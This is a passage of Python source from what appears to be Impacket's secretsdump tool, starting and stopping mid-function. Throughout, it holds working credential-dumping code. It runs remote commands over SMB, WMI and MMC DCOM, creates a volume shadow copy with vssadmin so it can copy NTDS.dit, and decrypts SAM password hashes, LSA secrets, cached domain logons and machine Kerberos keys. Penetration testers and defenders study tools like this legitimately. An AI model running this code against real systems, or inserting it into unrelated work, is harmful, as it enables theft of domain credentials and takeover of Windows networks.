arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'
arg2 = VARIANT(None, False)
arg2['clSize'] = 5
arg2['vt'] = VARENUM.VT_BSTR
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]
arg3 = VARIANT(None, False)
arg3['clSize'] = 5
arg3['vt'] = VARENUM.VT_BSTR
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
arg3['_varUnion']['bstrVal']['asData'] = '7'
dispParams['rgvarg'].append(arg3)
dispParams['rgvarg'].append(arg2)
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
def __wmiExec(self, command):
# Convert command to wmi exec friendly format
command = command.replace('%COMSPEC%', 'cmd.exe')
username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
win32Process.Create(command, '\\', None)
dcom.disconnect()
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
LOG.debug('ExecuteRemote command: %s' % command)
if self.__execMethod == 'smbexec':
self.__smbExec(command)
elif self.__execMethod == 'wmiexec':
self.__wmiExec(command)
elif self.__execMethod == 'mmcexec':
self.__mmcExec(command)
else:
raise Exception('Invalid exec method %s, aborting' % self.__execMethod)
def __answer(self, data):
self.__answerTMP += data
def __getLastVSS(self):
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
time.sleep(5)
tries = 0
while True:
try:
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
break
except Exception as e:
if tries > 30:
# We give up
raise Exception('Too many tries trying to list vss shadows')
if str(e).find('SHARING') > 0:
# Stuff didn't finish yet.. wait more
time.sleep(5)
tries +=1
pass
else:
raise
lines = self.__answerTMP.split(b'\n')
lastShadow = b''
lastShadowFor = b''
# Let's find the last one
# The string used to search the shadow for drive. Wondering what happens
# in other languages
SHADOWFOR = b'Volume: ('
for line in lines:
if line.find(b'GLOBALROOT') > 0:
lastShadow = line[line.find(b'\\\\?'):][:-1]
elif line.find(SHADOWFOR) > 0:
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8')
def saveNTDS(self):
LOG.info('Searching for NTDS.dit')
# First of all, let's try to read the target NTDS.dit registry entry
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
keyHandle = ans['phkResult']
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
try:
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
ntdsLocation = dataValue[:-1]
ntdsDrive = ntdsLocation[:2]
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
LOG.info('Using %s method for remote execution' % self.__execMethod)
# Get the list of remote shadows
shadow, shadowFor = self.__getLastVSS()
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
# No shadow, create one
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
shadow, shadowFor = self.__getLastVSS()
shouldRemove = True
if shadow == '':
raise Exception('Could not get a VSS')
else:
shouldRemove = False
# Now copy the ntds.dit to the temp directory
tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
if shouldRemove is True:
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
tries = 0
while True:
try:
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
break
except Exception as e:
if tries >= 30:
raise e
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
tries += 1
time.sleep(5)
pass
else:
logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
pass
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
return remoteFileName
class CryptoCommon:
# Common crypto stuff used over different classes
def deriveKey(self, baseKey):
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack('<L',baseKey)
key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
if PY2:
return transformKey(b''.join(key1)),transformKey(b''.join(key2))
else:
return transformKey(bytes(key1)),transformKey(bytes(key2))
@staticmethod
def decryptAES(key, value, iv=b'\x00'*16):
plainText = b''
if iv != b'\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
for index in range(0, len(value), 16):
if iv == b'\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
cipherBuffer = value[index:index+16]
# Pad buffer to 16 bytes
if len(cipherBuffer) < 16:
cipherBuffer += b'\x00' * (16-len(cipherBuffer))
plainText += aes256.decrypt(cipherBuffer)
return plainText
class OfflineRegistry:
def __init__(self, hiveFile = None, isRemote = False):
self.__hiveFile = hiveFile
if self.__hiveFile is not None:
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
def enumKey(self, searchKey):
parentKey = self.__registryHive.findKey(searchKey)
if parentKey is None:
return
keys = self.__registryHive.enumKey(parentKey)
return keys
def enumValues(self, searchKey):
key = self.__registryHive.findKey(searchKey)
if key is None:
return
values = self.__registryHive.enumValues(key)
return values
def getValue(self, keyValue):
value = self.__registryHive.getValue(keyValue)
if value is None:
return
return value
def getClass(self, className):
value = self.__registryHive.getClass(className)
if value is None:
return
return value
def finish(self):
if self.__hiveFile is not None:
# Remove temp file and whatever else is needed
self.__registryHive.close()
class SAMHashes(OfflineRegistry):
def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = b''
self.__bootKey = bootKey
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
self.__perSecretCallback = perSecretCallback
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def getHBootKey(self):
LOG.debug('Calculating HashedBootKey from SAM')
QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = b"0123456789012345678901234567890123456789\0"
F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]
domainData = DOMAIN_ACCOUNT_F(F)
if domainData['Key0'][0:1] == b'\x01':
samKeyData = SAM_KEY_DATA(domainData['Key0'])
rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])
# Verify key with checksum
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
elif domainData['Key0'][0:1] == b'\x02':
# This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
if newStyle is False:
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
rc4 = ARC4.new(rc4Key)
key = rc4.encrypt(cryptedHash['Hash'])
else:
key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
return decryptedHash
def dump(self):
NTPASSWORD = b"NTPASSWORD\0"
LMPASSWORD = b"LMPASSWORD\0"
if self.__samFile is None:
# No SAM file provided
return
LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
self.getHBootKey()
usersKey = 'SAM\\Domains\\Account\\Users'
# Enumerate all the RIDs
rids = self.enumKey(usersKey)
# Remove the Names item
try:
rids.remove('Names')
except:
pass
for rid in rids:
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
rid = int(rid,16)
V = userAccount['Data']
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
encNTHash = b''
if V[userAccount['NTHashOffset']:][2:3] == b'\x01':
# Old Style hashes
newStyle = False
if userAccount['LMHashLength'] == 20:
encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
if userAccount['NTHashLength'] == 20:
encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
else:
# New Style hashes
newStyle = True
if userAccount['LMHashLength'] == 24:
encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
LOG.debug('NewStyle hashes is: %s' % newStyle)
if userAccount['LMHashLength'] >= 20:
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
else:
lmHash = b''
if encNTHash != b'':
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
else:
ntHash = b''
if lmHash == b'':
lmHash = ntlm.LMOWFv1('','')
if ntHash == b'':
ntHash = ntlm.NTOWFv1('','')
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))
self.__itemsFound[rid] = answer
self.__perSecretCallback(answer)
def export(self, baseFileName, openFileFunc = None):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)
fileName = baseFileName+'.sam'
fd = openFile(fileName, openFileFunc=openFileFunc)
for item in items:
fd.write(self.__itemsFound[item]+'\n')
fd.close()
return fileName
class LSASecrets(OfflineRegistry):
UNKNOWN_USER = '(Unknown User)'
class SECRET_TYPE:
LSA = 0
LSA_HASHED = 1
LSA_RAW = 2
LSA_KERBEROS = 3
def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,
perSecretCallback=lambda secretType, secret: _print_helper(secret)):
OfflineRegistry.__init__(self, securityFile, isRemote)
self.__hashedBootKey = b''
self.__bootKey = bootKey
self.__LSAKey = b''
self.__NKLMKey = b''
self.__vistaStyle = True
self.__cryptoCommon = CryptoCommon()
self.__securityFile = securityFile
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
self.__perSecretCallback = perSecretCallback
self.__history = history
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def __sha256(self, key, value, rounds=1000):
sha = hashlib.sha256()
sha.update(key)
for i in range(1000):
sha.update(value)
return sha.digest()
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
encryptedSecretSize = unpack('<I', value[:4])[0]
value = value[len(value)-encryptedSecretSize:]
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return secret['Secret']
def __decryptHash(self, key, value, iv):
hmac_md5 = HMAC.new(key,iv,digestmod=hashlib.md5)
rc4key = hmac_md5.digest()
rc4 = ARC4.new(rc4key)
data = rc4.encrypt(value)
return data
def __decryptLSA(self, value):
if self.__vistaStyle is True:
# ToDo: There could be more than one LSA Keys
record = LSA_SECRET(value)
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
self.__LSAKey = record['Secret'][52:][:32]
else:
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(value[60:76])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.decrypt(value[12:60])
self.__LSAKey = plainText[0x10:0x20]
def __getLSASecretKey(self):
LOG.debug('Decrypting LSA Key')
# Let's try the key post XP
value = self.getValue('\\Policy\\PolEKList\\default')
if value is None:
LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
# Second chance
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
self.__vistaStyle = False
if value is None:
# No way :(
return None
self.__decryptLSA(value[1])
def __getNLKMSecret(self):
LOG.debug('Decrypting NL$KM')
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
if value is None:
raise Exception("Couldn't get NL$KM value")
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
else:
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
def __pad(self, data):
if (data & 0x3) > 0:
return data + (data & 0x3)
else:
return data
def dumpCachedHashes(self):
if self.__securityFile is None:
# No SECURITY file provided
return
LOG.info('Dumping cached domain logon information (domain/username:hash)')
# Let's first see if there are cached entries
values = self.enumValues('\\Cache')
if values is None:
# No cache entries
return
try:
# Remove unnecessary value
values.remove(b'NL$Control')
except:
pass
iterationCount = 10240
if b'NL$IterationCount' in values:
values.remove(b'NL$IterationCount')
record = self.getValue('\\Cache\\NL$IterationCount')[1]
if record > 10240:
iterationCount = record & 0xfffffc00
else:
iterationCount = record * 1024
self.__getLSASecretKey()
self.__getNLKMSecret()
for value in values:
LOG.debug('Looking into %s' % value.decode('utf-8'))
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])
if record['IV'] != 16 * b'\x00':
#if record['UserLength'] > 0:
if record['Flags'] & 1 == 1:
# Encrypted
if self.__vistaStyle is True:
plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
else:
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
pass
else:
# Plain! Until we figure out what this is, we skip it
#plainText = record['EncryptedData']
continue
encHash = plainText[:0x10]
plainText = plainText[0x48:]
userName = plainText[:record['UserLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]
domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
if self.__vistaStyle is True:
answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'))
else:
answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName)
self.__cachedItems.append(answer)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
# First off, let's discard NULL secrets.
if len(secretItem) == 0:
LOG.debug('Discarding secret %s, NULL Data' % name)
return
# We might have secrets with zero
if secretItem.startswith(b'\x00\x00'):
LOG.debug('Discarding secret %s, all zeros' % name)
return
upperName = name.upper()
LOG.info('%s ' % name)
secret = ''
if upperName.startswith('_SC_'):
# Service name, a password might be there
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account the service
# runs under
if hasattr(self.__remoteOps, 'getServiceAccount'):
account = self.__remoteOps.getServiceAccount(name[4:])
if account is None:
secret = self.UNKNOWN_USER + ':'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = self.UNKNOWN_USER + ':'
secret += strDecoded
elif upperName.startswith('DEFAULTPASSWORD'):
# defaults password for winlogon
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account this password is for
if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):
account = self.__remoteOps.getDefaultLoginAccount()
if account is None:
secret = self.UNKNOWN_USER + ':'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = self.UNKNOWN_USER + ':'
secret += strDecoded
elif upperName.startswith('ASPNET_WP_PASSWORD'):
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
secret = 'ASPNET: %s' % strDecoded
elif upperName.startswith('DPAPI_SYSTEM'):
# Decode the DPAPI Secrets
dpapi = DPAPI_SYSTEM(secretItem)
secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),
hexlify(dpapi['UserKey']).decode('latin-1'))
elif upperName.startswith('$MACHINE.ACC'):
# compute MD4 of the secret.. yes.. that is the nthash? :-o
md4 = MD4.new()
md4.update(secretItem)
if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):
machine, domain = self.__remoteOps.getMachineNameAndDomain()
printname = "%s\\%s$" % (domain, machine)
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
hexlify(md4.digest()).decode('utf-8'))
else:
printname = "$MACHINE.ACC"
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
hexlify(md4.digest()).decode('utf-8'))
# Attempt to calculate and print Kerberos keys
if not self.__printMachineKerberos(secretItem, printname):
LOG.debug('Could not calculate machine account Kerberos keys, printing plain password (hex encoded)')
extrasecret = "$MACHINE.ACC:plain_password_hex:%s" % hexlify(secretItem).decode('utf-8')
self.__secretItems.append(extrasecret)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
if secret != '':
printableSecret = secret
self.__secretItems.append(secret)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
else:
# Default print, hexdump
printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))
self.__secretItems.append(printableSecret)
# If we're using the default callback (ourselves), we print the hex representation. If not, the
# user will need to decide what to do.
if self.__module__ == self.__perSecretCallback.__module__:
hexdump(secretItem)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)
def __printMachineKerberos(self, rawsecret, machinename):
# Attempt to create Kerberos keys from machine account (if possible)
if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):
salt = self.__remoteOps.getMachineKerberosSalt()
if salt == b'':
return False
else:
allciphers = [
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
int(constants.EncryptionTypes.des_cbc_md5.value)
]
# Ok, so the machine account password is in raw UTF-16, BUT can contain any amount
# of invalid unicode characters.
# This took me (Dirk-jan) way too long to figure out, but apparently Microsoft
# implicitly replaces those when converting utf-16 to utf-8.
# When we use the same method we get the valid password -> key mapping :)
rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
for etype in allciphers:
try:
key = string_to_key(etype, rawsecret, salt, None)
except Exception:
LOG.debug('Exception', exc_info=True)
raise
typename = NTDSHashes.KERBEROS_TYPE[etype]
secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))
self.__secretItems.append(secret)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)
return True
else:
return False
def dumpSecrets(self):
if self.__securityFile is None:
# No SECURITY file provided
return
LOG.info('Dumping LSA Secrets')
# Let's first see if there are cached entries
keys = self.enumKey('\\Policy\\Secrets')
if keys is None:
# No entries
return
try:
# Remove unnecessary value
keys.remove(b'NL$Control')
except:
pass
if self.__LSAKey == b'':
self.__getLSASecretKey()
for key in keys:
LOG.debug('Looking into %s' % key)
valueTypeList = ['CurrVal']
# Check if old LSA secrets values are also need to be shown
if self.__history:
valueTypeList.append('OldVal')
for valueType in valueTypeList:
value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
if value is not None and value[1] != 0:
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
secret = self.__decryptSecret(self.__LSAKey, value[1])
# If this is an OldVal secret, let's append '_history' to be able to distinguish it and
# also be consistent with NTDS history
if valueType == 'OldVal':
key += '_history'
self.__printSecret(key, secret)
def exportSecrets(self, baseFileName, openFileFunc = None):
if len(self.__secretItems) > 0:
fileName = baseFileName+'.secrets'
fd = openFile(fileName, openFileFunc=openFileFunc)
for item in self.__secretItems:
fd.write(item+'\n')
fd.close()
return fileName
def exportCached(self, baseFileName, openFileFunc = None):
if len(self.__cachedItems) > 0:
fileName = baseFileName+'.cached'
fd = openFile(fileName, openFileFunc=openFileFunc)
for item in self.__cachedItems:
fd.write(item+'\n')
fd.close()
return fileName
class ResumeSessionMgrInFile(object):
def __init__(self, resumeFileName=None):
self.__resumeFileName = resumeFileName
self.__resumeFile = None
self.__hasResumeData = resumeFileName is not None
def hasResumeData(self):
return self.__hasResumeData
def clearResumeData(self):
self.endTransaction()
if self.__resumeFileName and os.path.isfile(self.__resumeFileName):
os.remove(self.__resumeFileName)
def writeResumeData(self, data):
# self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
self.__resumeFile.seek(0, 0)
self.__resumeFile.truncate(0)
self.__resumeFile.write(data.encode())
self.__resumeFile.flush()
def getResumeData(self):
try:
self.__resumeFile = open(self.__resumeFileName,'rb')
except Exception as e:
raise Exception('Cannot open resume session file name %s' % str(e))
resumeSid = self.__resumeFile.read()
self.__resumeFile.close()
# Truncate and reopen the file as wb+
self.__resumeFile = open(self.__resumeFileName,'wb+')
return resumeSid.decode('utf-8')
def getFileName(self):
return self.__resumeFileName
def beginTransaction(self):
if not self.__resumeFileName:
self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))
LOG.debug('Session resume file will be %s' % self.__resumeFileName)
if not self.__resumeFile:
try:
self.__resumeFile = open(self.__resumeFileName, 'wb+')
except Exception as e:
raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))
def endTransaction(self):
if self.__resumeFile:
self.__resumeFile.close()
self.__resumeFile = None
class NTDSHashes:
class SECRET_TYPE:
NTDS = 0
NTDS_CLEARTEXT = 1
NTDS_KERBEROS = 2
NAME_TO_INTERNAL = {
'uSNCreated':b'ATTq131091',
'uSNChanged':b'ATTq131192',
'name':b'ATTm3',
'objectGUID':b'ATTk589826',
'objectSid':b'ATTr589970',
'userAccountControl':b'ATTj589832',
'primaryGroupID':b'ATTj589922',
'accountExpires':b'ATTq589983',
'logonCount':b'ATTj589993',
'sAMAccountName':b'ATTm590045',
'sAMAccountType':b'ATTj590126',
'lastLogonTimestamp':b'ATTq589876',
'userPrincipalName':b'ATTm590480',
'unicodePwd':b'ATTk589914',
'dBCSPwd':b'ATTk589879',
'ntPwdHistory':b'ATTk589918',
'lmPwdHistory':b'ATTk589984',
'pekList':b'ATTk590689',
'supplementalCredentials':b'ATTk589949',
'pwdLastSet':b'ATTq589920',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
'userAccountControl':0x90008,
}
ATTRTYP_TO_ATTID = {
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'ntPwdHistory': '1.2.840.113556.1.4.94',
'lmPwdHistory': '1.2.840.113556.1.4.160',
'supplementalCredentials': '1.2.840.113556.1.4.125',
'objectSid': '1.2.840.113556.1.4.146',
'pwdLastSet': '1.2.840.113556.1.4.96',
'userAccountControl':'1.2.840.113556.1.4.8',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
class PEKLIST_ENC(Structure):
structure = (
('Header','8s=b""'),
('KeyMaterial','16s=b""'),
('EncryptedPek',':'),
)
class PEKLIST_PLAIN(Structure):
structure = (
('Header','32s=b""'),
('DecryptedPek',':'),
)
class PEK_KEY(Structure):
structure = (
('Header','1s=b""'),
('Padding','3s=b""'),
('Key','16s=b""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header','8s=b""'),
('KeyMaterial','16s=b""'),
('EncryptedHash','16s=b""'),
)
class CRYPTED_HASHW16(Structure):
structure = (
('Header','8s=b""'),
('KeyMaterial','16s=b""'),
('Unknown','<L=0'),
('EncryptedHash','32s=b""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header','8s=b""'),
('KeyMaterial','16s=b""'),
('EncryptedHash',':'),
)
class CRYPTED_BLOB(Structure):
structure = (
('Header','8s=b""'),
('KeyMaterial','16s=b""'),
('EncryptedHash',':'),
)
def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
justUser=None, printUserStatus=False,
perSecretCallback = lambda secretType, secret : _print_helper(secret),
resumeSessionMgr=ResumeSessionMgrInFile):
self.__bootKey = bootKey
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
self.__printUserStatus = printUserStatus
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__resumeSession = resumeSessionMgr(resumeSession)
self.__outputFileName = outputFileName
self.__justUser = justUser
self.__perSecretCallback = perSecretCallback
def getResumeSessionFile(self):
return self.__resumeSession.getFileName()
def __getPek(self):
LOG.info('Searching for pekList, be patient')
peklist = None
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
LOG.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
break
